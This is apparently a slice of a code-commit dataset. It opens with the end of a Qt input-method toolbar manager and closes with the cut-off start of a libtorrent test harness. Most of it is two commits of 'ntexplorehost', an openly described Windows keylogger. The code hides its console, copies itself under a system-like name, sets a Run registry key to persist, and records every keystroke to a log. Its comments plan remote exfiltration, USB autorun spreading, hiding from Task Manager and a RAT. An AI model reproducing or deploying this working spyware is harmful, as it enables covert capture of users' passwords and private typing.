byteArray = attribute.toLatin1();\n        const char * const c_str = byteArray.data();\n\n        \/\/ Ignore l10n lengthvariants in QStrings for labels, always pick longest variant (first)\n        if (attribute == \"label\") {\n            QString label = value.toString();\n            label = label.split(QChar(0x9c)).first();\n            const QVariant newValue(label);\n            keyOverride->setProperty(c_str, newValue);\n        } else {\n            keyOverride->setProperty(c_str, value);\n        }\n\n        \/\/ Q_EMIT signal to notify the new key override is created.\n        if (newKeyOverrideCreated) {\n            Q_EMIT keyOverrideCreated();\n        }\n    } else if (target == ToolbarExtensionString) {\n        QSharedPointer<MToolbarData> toolbar = extension->toolbarData();\n        if (!toolbar) {\n            qWarning() << \"Can not find toolbar data!\";\n            return;\n        }\n        QSharedPointer<MToolbarItem> item = toolbar->item(targetItem);\n        if (!item) {\n            return;\n        }\n        const QByteArray byteArray = attribute.toLatin1();\n        const char * const c_str = byteArray.data();\n        item->setProperty(c_str, value);\n    } else {\n        qWarning() << \"Invalid or incompatible attribute extension target:\" << target;\n    }\n}\n\n\nvoid MAttributeExtensionManager::handleClientDisconnect(unsigned int clientId)\n{\n    \/\/ unregister toolbars registered by the lost connection\n    const QString service(QString::number(clientId));\n    QSet<MAttributeExtensionId>::iterator i(attributeExtensionIds.begin());\n    while (i != attributeExtensionIds.end()) {\n        if ((*i).service() == service) {\n            unregisterAttributeExtension(*i);\n            i = attributeExtensionIds.erase(i);\n        } else {\n            ++i;\n        }\n    }\n}\n\nvoid MAttributeExtensionManager::handleExtendedAttributeUpdate(unsigned int clientId, int id,\n                                   const QString &target, const QString &targetName,\n                                   const QString &attribute, const QVariant &value)\n{\n    MAttributeExtensionId globalId(id, QString::number(clientId));\n    if (globalId.isValid() && attributeExtensionIds.contains(globalId)) {\n        setExtendedAttribute(globalId, target, targetName, attribute, value);\n    }\n}\n\nvoid MAttributeExtensionManager::handleAttributeExtensionRegistered(unsigned int clientId,\n                                                                  int id, const QString &attributeExtension)\n{\n    MAttributeExtensionId globalId(id, QString::number(clientId));\n    if (globalId.isValid() && !attributeExtensionIds.contains(globalId)) {\n        registerAttributeExtension(globalId, attributeExtension);\n        attributeExtensionIds.insert(globalId);\n    }\n}\n\nvoid MAttributeExtensionManager::handleAttributeExtensionUnregistered(unsigned int clientId, int id)\n{\n    MAttributeExtensionId globalId(id, QString::number(clientId));\n    if (globalId.isValid() && attributeExtensionIds.contains(globalId)) {\n        unregisterAttributeExtension(globalId);\n        attributeExtensionIds.remove(globalId);\n    }\n}\n\nvoid MAttributeExtensionManager::handleWidgetStateChanged(unsigned int clientId,\n                                                          const QMap<QString, QVariant> &newState,\n                                                          const QMap<QString, QVariant> &oldState,\n                                                          bool focusChanged)\n\n{\n    Q_UNUSED(oldState);\n    \/\/ toolbar change\n    MAttributeExtensionId oldAttributeExtensionId;\n    MAttributeExtensionId newAttributeExtensionId;\n    oldAttributeExtensionId = attributeExtensionId;\n\n    QVariant variant = newState[ToolbarIdAttribute];\n    if (variant.isValid()) {\n        \/\/ map toolbar id from local to global\n        newAttributeExtensionId = MAttributeExtensionId(variant.toInt(), QString::number(clientId));\n    }\n    if (!newAttributeExtensionId.isValid()) {\n        newAttributeExtensionId = MAttributeExtensionId::standardAttributeExtensionId();\n    }\n\n    variant = newState[FocusStateAttribute];\n    if (not variant.isValid()) {\n        qCritical() << __PRETTY_FUNCTION__ << \"Invalid focus state\";\n    }\n    bool widgetFocusState = variant.toBool();\n\n    \/\/ compare the toolbar id (global)\n    if (oldAttributeExtensionId != newAttributeExtensionId) {\n        QString toolbarFile = newState[ToolbarAttribute].toString();\n        if (!contains(newAttributeExtensionId) && !toolbarFile.isEmpty()) {\n            \/\/ register toolbar if toolbar manager does not contain it but\n            \/\/ toolbar file is not empty. This can reload the toolbar data\n            \/\/ if im-uiserver crashes.\n            \/\/ XXX: should not happen, the input context is reponsible for registering\n            \/\/ and resending the toolbar information on server reconnect\n            qWarning() << \"Unregistered toolbar found in widget information\";\n\n            variant = newState[ToolbarIdAttribute];\n            if (variant.isValid()) {\n                const int toolbarLocalId = variant.toInt();\n                \/\/ FIXME: brittle to call the signal handler directly like this\n                handleAttributeExtensionRegistered(clientId, toolbarLocalId, toolbarFile);\n            }\n        }\n        Q_EMIT attributeExtensionIdChanged(newAttributeExtensionId);\n        \/\/ store the new used toolbar id(global).\n        attributeExtensionId = newAttributeExtensionId;\n    }\n    \/\/ this happens when we focus on a text widget with no attribute extensions.\n    else if (focusChanged && widgetFocusState)\n    {\n        Q_EMIT attributeExtensionIdChanged(newAttributeExtensionId);\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Remove the C wrapper calls from stacktraces<commit_after><|endoftext|>"}
{"text":"<commit_before>\/**********************************************************************************\n* ntexplorehost key logger (& possibly more)\n* \n* date: 1\/2\/2014\n* By: Camron W. Godbout\n*\n* Created purely for educational purposes. Any damages caused by this program are \n* purely the responsibility of the user.\n*\n* Keylogger built to work in the background and log all keys pressed by the user.\n* Built for persistence and will edit the registry to run at login. It is a work in\n* progress but I want it on github in case my VM crashes.\n*\n* I figured I knew c++ how complex could WIN32 be... \n*\n* TODO:\n*\t(x)Get current directory and move to low key directory\n*\t(x)Edit registry to add current user run\n*\t(x)Log pressed keys\n*\t()Make the program check to see if the registry is edited if so start logging \n*\t()Send the log away to remote server once a day - on separate thread\n*\t()Check to see if USB is connected if so add autorun.ini and hide the exe on there\n*\t(optional)Perhaps inject the logger as dll into explorer or something important\n*\t(optional)create a RAT\n*\/\n#include <windows.h>\n#include <stdio.h>\n#include <winuser.h>\n#include <windowsx.h>\n#include <string>\n#include <iostream>\n\n#define _CRT_SECURE_NO_WARNINGS\n\n#define BUFSIZE 80\n\nusing namespace std;\n\n\/\/function definitions\nint get_keys(void);\n\n\nint main(void)\n{\n\t\n\t\/\/this is a WIN32 console application so I hid the cmd prompt.\n\tHWND hidden;\n\tAllocConsole();\n\thidden = FindWindowA(\"ConsoleWindowClass\", NULL);\n\tShowWindow(hidden, 0);\n\t\n\n\n\t\/\/gets current directory and puts it into the systems drive\n\t\/\/in a desired directory\n\tchar system[MAX_PATH];\n\tTCHAR szEXEPath[MAX_PATH];\n\tchar pathToFile[MAX_PATH];\n\n\tGetModuleFileName(NULL, szEXEPath, MAX_PATH);\n\n\t\/\/tedious work around to get the correct path\n\tfor (int i = 0; i < MAX_PATH; i++)\n\t{\n\t\tpathToFile[i] = szEXEPath[i];\n\t}\n\n\t\/\/get the OS mounted drive\n\tGetSystemDirectory(LPWSTR(system), sizeof(system));\n\n\n\t\/\/where to move the exe to\n\tstrcat(system, \":\\\\Users\\\\Public\\\\Libraries\\\\ntexplorehost.exe\");\n\n\t\/\/move the exe to the destination described above\n\tCopyFileA(pathToFile,system, false);\n\t\n\t\/\/move location into the registry\n\tHKEY hKey;\n\t\n\t\/\/try to open the registry\n\tif (RegOpenKey(HKEY_CURRENT_USER, TEXT(\"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\"), &hKey) != ERROR_SUCCESS)\n\t{\n\t\tprintf(\"UNABLE TO OPEN REGISTRY KEY\\n\");\n\t}\n\t\n\t\/\/moves the path into a string\n\tstring sPath(system);\n\n\t\/\/again another tedious work around to get the registry to write in ANSI\n\t\/\/had problems that it would write in UNICODE and the directory would be chinese characters\n\t\/\/so I had to put the system which is a c-string into a string to a wstring...\n\twstring temp(sPath.begin(), sPath.end());\n\twstring path;\n\tpath = temp;\n\n    \/\/tries to write to current user run registry\n\tif (RegSetValueEx(hKey, TEXT(\"ntexplorehost\"), 0, REG_SZ, (const BYTE*)path.c_str(), (path.size() + 1)*sizeof( wchar_t ) ) != ERROR_SUCCESS)\n\t{\n\t\tRegCloseKey(hKey);\n\t\tprintf(\"UNABLE TO SET REGISTRY VALUE VALUE_NAME\\n\");\n\t}\n\telse\n\t{\n\t\tprintf(\"VALUE WAS SET!!! SUCESS!\\n\");\n\t}\n\n\tRegCloseKey(hKey);\n\t\n\t\/\/end of persistence this is just here for my benefit incase something breaks\n\n\tint t = get_keys();\n\n\treturn t;\n}\n\nint get_keys(void)\n{\n\tshort character;\n\twhile (1)\n\t{\n\t\t\/\/we sleep to stop 100% CPU usage\n\t\tSleep(10);\n\t\tfor (character = 8; character <= 222; character++)\n\t\t{\n\t\t\tif (GetAsyncKeyState(character) == -32767)\n\t\t\t{\n\n\t\t\t\tFILE *file;\n\t\t\t\tfile = fopen(\"ntexplorehost.log\", \"a+\");\n\t\t\t\tif (file == NULL)\n\t\t\t\t{\n\t\t\t\t\treturn 1;\n\t\t\t\t}\n\t\t\t\tif (file != NULL)\n\t\t\t\t{\n\t\t\t\t\tif ((character >= 39) && (character <= 64))\n\t\t\t\t\t{\n\t\t\t\t\t\tfputc(character, file);\n\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\telse if ((character>64) && (character<91))\n\t\t\t\t\t{\n\t\t\t\t\t\tcharacter += 32;\n\t\t\t\t\t\tfputc(character, file);\n\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tswitch (character)\n\t\t\t\t\t\t{\n\t\t\t\t\t\tcase VK_SPACE:\n\t\t\t\t\t\t\tfputc(' ', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_SHIFT:\n\t\t\t\t\t\t\tfputs(\"[SHIFT]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_RETURN:\n\t\t\t\t\t\t\tfputs(\"\\n[ENTER]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_BACK:\n\t\t\t\t\t\t\tfputs(\"[BACKSPACE]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_TAB:\n\t\t\t\t\t\t\tfputs(\"[TAB]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_CONTROL:\n\t\t\t\t\t\t\tfputs(\"[CTRL]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_DELETE:\n\t\t\t\t\t\t\tfputs(\"[DEL]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_OEM_1:\n\t\t\t\t\t\t\tfputs(\"[;:]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_OEM_2:\n\t\t\t\t\t\t\tfputs(\"[\/?]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_OEM_3:\n\t\t\t\t\t\t\tfputs(\"[`~]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_OEM_4:\n\t\t\t\t\t\t\tfputs(\"[ [{ ]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_OEM_5:\n\t\t\t\t\t\t\tfputs(\"[\\\\|]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_OEM_6:\n\t\t\t\t\t\t\tfputs(\"[ ]} ]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_OEM_7:\n\t\t\t\t\t\t\tfputs(\"['\\\"]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\/*case VK_OEM_PLUS:\n\t\t\t\t\t\t\tfputc('+',file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase VK_OEM_COMMA:\n\t\t\t\t\t\t\tfputc(',',file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase VK_OEM_MINUS:\n\t\t\t\t\t\t\tfputc('-',file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t*\/\n\t\t\t\t\t\tcase VK_OEM_PERIOD:\n\t\t\t\t\t\t\tfputc('.',file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD0:\n\t\t\t\t\t\t\tfputc('0', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD1:\n\t\t\t\t\t\t\tfputc('1', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD2:\n\t\t\t\t\t\t\tfputc('2', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD3:\n\t\t\t\t\t\t\tfputc('3', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD4:\n\t\t\t\t\t\t\tfputc('4', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD5:\n\t\t\t\t\t\t\tfputc('5', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD6:\n\t\t\t\t\t\t\tfputc('6', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD7:\n\t\t\t\t\t\t\tfputc('7', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD8:\n\t\t\t\t\t\t\tfputc('8', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD9:\n\t\t\t\t\t\t\tfputc('9', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_CAPITAL:\n\t\t\t\t\t\t\tfputs(\"[CAPS LOCK]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t}\n\treturn EXIT_SUCCESS;\n}\n\n<commit_msg>Update ntexplorehost.cpp<commit_after>\/**********************************************************************************\n* ntexplorehost key logger (& possibly more)\n* \n* date: 1\/2\/2014\n* By: Camron W. Godbout\n*\n* Created purely for educational purposes. Any damages caused by this program are \n* purely the responsibility of the user.\n*\n* Keylogger built to work in the background and log all keys pressed by the user.\n* Built for persistence and will edit the registry to run at login. It is a work in\n* progress but I want it on github in case my VM crashes.\n*\n* I figured I knew c++ how complex could WIN32 be... \n*\n* TODO:\n*\t(x)Get current directory and move to low key directory\n*\t(x)Edit registry to add current user run\n*\t(x)Log pressed keys\n*\t(x)Make the program check to see if the registry is edited if so start logging\n*\t(x)Run the program in the moved location and get the log working in there\n*\t()Send the log away to remote server once a day - on separate thread\n*\t()Check to see if USB is connected if so add autorun.ini and hide the exe on there\n*\t()Hide from Task Manager\n*\t(optional)Perhaps inject the logger as dll into explorer or something important\n*\t(optional)create a RAT\n*\/\n#include <windows.h>\n#include <stdio.h>\n#include <winuser.h>\n#include <windowsx.h>\n#include <string>\n#include <iostream>\n\n#define _CRT_SECURE_NO_WARNINGS\n\n#define BUFSIZE 80\n\nusing namespace std;\n\n\/\/function definitions\nint get_keys(char* location);\n\n\nint main(void)\n{\n\t\/*\n\t\/\/this is a WIN32 console application so I hid the cmd prompt.\n\tHWND hidden;\n\tAllocConsole();\n\thidden = FindWindowA(\"ConsoleWindowClass\", NULL);\n\tShowWindow(hidden, 0);\n\t*\/\n\n\n\t\/\/gets current directory and puts it into the systems drive\n\t\/\/in a desired directory\n\tchar system[MAX_PATH];\n\tTCHAR szEXEPath[MAX_PATH];\n\tchar pathToFile[MAX_PATH];\n\n\tGetModuleFileName(NULL, szEXEPath, MAX_PATH);\n\n\t\/\/tedious work around to get the correct path\n\tfor (int i = 0; i < MAX_PATH; i++)\n\t{\n\t\tpathToFile[i] = szEXEPath[i];\n\t}\n\n\t\/\/get the OS mounted drive\n\tGetSystemDirectory(LPWSTR(system), sizeof(system));\n\n\n\t\/\/this chunk will be used later perhaps if the registry is good\n\t\/\/used to create the log location before it is tainted with the hard coded\n\t\/\/exe location.\n\tchar location[MAX_PATH];\n\t_snprintf(location, MAX_PATH, system);\n\tstrcat(location, \":\\\\Users\\\\Public\\\\Libraries\\\\ntexplorehost.log\");\n\n\t\/\/where to move the exe to\n\tstrcat(system, \":\\\\Users\\\\Public\\\\Libraries\\\\ntexplorehost.exe\");\n\n\tprintf(system);\n\n\t\/\/move the exe to the destination described above\n\tCopyFileA(pathToFile,system, false);\n\t\n\t\/\/move location into the registry\n\tHKEY hKey;\n\t\n\t\n\n\t\/\/try to open the registry\n\tif (RegOpenKeyEx(HKEY_CURRENT_USER, TEXT(\"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\"),0, KEY_READ | KEY_WRITE, &hKey) != ERROR_SUCCESS)\n\t{\n\t\tprintf(\"UNABLE TO OPEN REGISTRY KEY\\n\");\n\t}\n\tif (RegQueryValueEx(hKey, TEXT(\"ntexplorehost\"), NULL, NULL, NULL, NULL) != ERROR_SUCCESS)\n\t{\/\/if the value does not exist in the key...\n\n\t\t\/\/moves the path into a string\n\t\tstring sPath(system);\n\n\t\t\/\/again another tedious work around to get the registry to write in ANSI\n\t\t\/\/had problems that it would write in UNICODE and the directory would be chinese characters\n\t\t\/\/so I had to put the system which is a c-string into a string to a wstring...\n\t\twstring temp(sPath.begin(), sPath.end());\n\t\twstring path;\n\t\tpath = temp;\n\n\t\t\/\/tries to write to current user run registry\n\t\tif (RegSetValueEx(hKey, TEXT(\"ntexplorehost\"), 0, REG_SZ, (const BYTE*)path.c_str(), (path.size() + 1)*sizeof(wchar_t)) != ERROR_SUCCESS)\n\t\t{\n\t\t\tRegCloseKey(hKey);\n\t\t\tprintf(\"UNABLE TO SET REGISTRY VALUE VALUE_NAME\\n\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/if the write was successful we will create a new process to the location of the moved program\n\t\t\tprintf(\"VALUE WAS SET!!! SUCESS!\\n\");\n\t\t\tSTARTUPINFO info = { sizeof(info) };\n\t\t\tPROCESS_INFORMATION processInfo;\n\n\t\t\t\/\/work around to get the path of exe to LPWSTR\n\t\t\twchar_t workit[MAX_PATH];\n\t\t\tmbstowcs(workit, system, strlen(system) + 1);\n\t\t\tLPWSTR appName = workit;\n\n\t\t\tif (!CreateProcess(appName, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &info, &processInfo))\n\t\t\t{\n\t\t\t\tprintf(\"couldn't start that shit man\");\n\t\t\t\texit(EXIT_FAILURE);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tprintf(\"it started..? yes. Why yes it did\");\n\t\t\t\texit(EXIT_SUCCESS);\n\t\t\t}\n\n\t\t\t\n\t\t}\n\n\t\tRegCloseKey(hKey);\n\n\t}\n\telse\n\t{\/\/the value does exist in the key\n\n\t\tprintf(\"KEY HAS BEEN FOUND YOU'RE ALREADY IN HERE BUDDY! :) \\n\");\n\n\t\t\/\/send the location of where we want the log.\n\t\tint t = get_keys(location);\n\t}\n\t\n\t\n\t\n\t\/\/end of persistence this is just here for my benefit incase something breaks\n\n\t\n\n\treturn 0;\n}\n\nint get_keys(char* location)\n{\n\tshort character;\n\twhile (1)\n\t{\n\t\t\/\/we sleep to stop 100% CPU usage\n\t\tSleep(10);\n\t\tfor (character = 8; character <= 222; character++)\n\t\t{\n\t\t\tif (GetAsyncKeyState(character) == -32767)\n\t\t\t{\n\n\t\t\t\tFILE *file;\n\t\t\t\tfile = freopen(location, \"a+\", stdout);\n\t\t\t\tif (file == NULL)\n\t\t\t\t{\n\t\t\t\t\treturn 1;\n\t\t\t\t}\n\t\t\t\tif (file != NULL)\n\t\t\t\t{\n\t\t\t\t\tif ((character >= 39) && (character <= 64))\n\t\t\t\t\t{\n\t\t\t\t\t\tfputc(character, file);\n\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\telse if ((character>64) && (character<91))\n\t\t\t\t\t{\n\t\t\t\t\t\tcharacter += 32;\n\t\t\t\t\t\tfputc(character, file);\n\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tswitch (character)\n\t\t\t\t\t\t{\n\t\t\t\t\t\tcase VK_SPACE:\n\t\t\t\t\t\t\tfputc(' ', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_SHIFT:\n\t\t\t\t\t\t\tfputs(\"[SHIFT]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_RETURN:\n\t\t\t\t\t\t\tfputs(\"\\n[ENTER]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_BACK:\n\t\t\t\t\t\t\tfputs(\"[BACKSPACE]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_TAB:\n\t\t\t\t\t\t\tfputs(\"[TAB]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_CONTROL:\n\t\t\t\t\t\t\tfputs(\"[CTRL]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_DELETE:\n\t\t\t\t\t\t\tfputs(\"[DEL]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_OEM_1:\n\t\t\t\t\t\t\tfputs(\"[;:]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_OEM_2:\n\t\t\t\t\t\t\tfputs(\"[\/?]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_OEM_3:\n\t\t\t\t\t\t\tfputs(\"[`~]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_OEM_4:\n\t\t\t\t\t\t\tfputs(\"[ [{ ]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_OEM_5:\n\t\t\t\t\t\t\tfputs(\"[\\\\|]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_OEM_6:\n\t\t\t\t\t\t\tfputs(\"[ ]} ]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_OEM_7:\n\t\t\t\t\t\t\tfputs(\"['\\\"]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\/*case VK_OEM_PLUS:\n\t\t\t\t\t\t\tfputc('+',file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase VK_OEM_COMMA:\n\t\t\t\t\t\t\tfputc(',',file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase VK_OEM_MINUS:\n\t\t\t\t\t\t\tfputc('-',file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t*\/\n\t\t\t\t\t\tcase VK_OEM_PERIOD:\n\t\t\t\t\t\t\tfputc('.',file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD0:\n\t\t\t\t\t\t\tfputc('0', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD1:\n\t\t\t\t\t\t\tfputc('1', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD2:\n\t\t\t\t\t\t\tfputc('2', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD3:\n\t\t\t\t\t\t\tfputc('3', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD4:\n\t\t\t\t\t\t\tfputc('4', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD5:\n\t\t\t\t\t\t\tfputc('5', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD6:\n\t\t\t\t\t\t\tfputc('6', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD7:\n\t\t\t\t\t\t\tfputc('7', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD8:\n\t\t\t\t\t\t\tfputc('8', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_NUMPAD9:\n\t\t\t\t\t\t\tfputc('9', file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase VK_CAPITAL:\n\t\t\t\t\t\t\tfputs(\"[CAPS LOCK]\", file);\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tfclose(file);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t}\n\treturn EXIT_SUCCESS;\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2008, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include <iostream>\n#include <boost\/config.hpp>\n#include <fcntl.h>\n#include <stdio.h>\n#include <stdlib.h> \/\/ for exit()\n#include \"setup_transfer.hpp\" \/\/ for tests_failure\n#include \"dht_server.hpp\" \/\/ for stop_dht\n#include \"peer_server.hpp\" \/\/ for stop_peer\n\nint test_main();\n\n#include \"libtorrent\/assert.hpp\"\n#include \"libtorrent\/file.hpp\"\n#include <signal.h>\n\nvoid sig_handler(int sig)\n{\n\tchar stack_text[10000];\n\n#if (defined TORRENT_DEBUG && !TORRENT_NO_ASSERTS) || TORRENT_RELEASE_ASSERTS\n\tprint_backtrace(stack_text, sizeof(stack_text), 30);\n#elif defined __FUNCTION__\n\tstrcat(stack_text, __FUNCTION__);\n#else\n\tstack_text[0] = 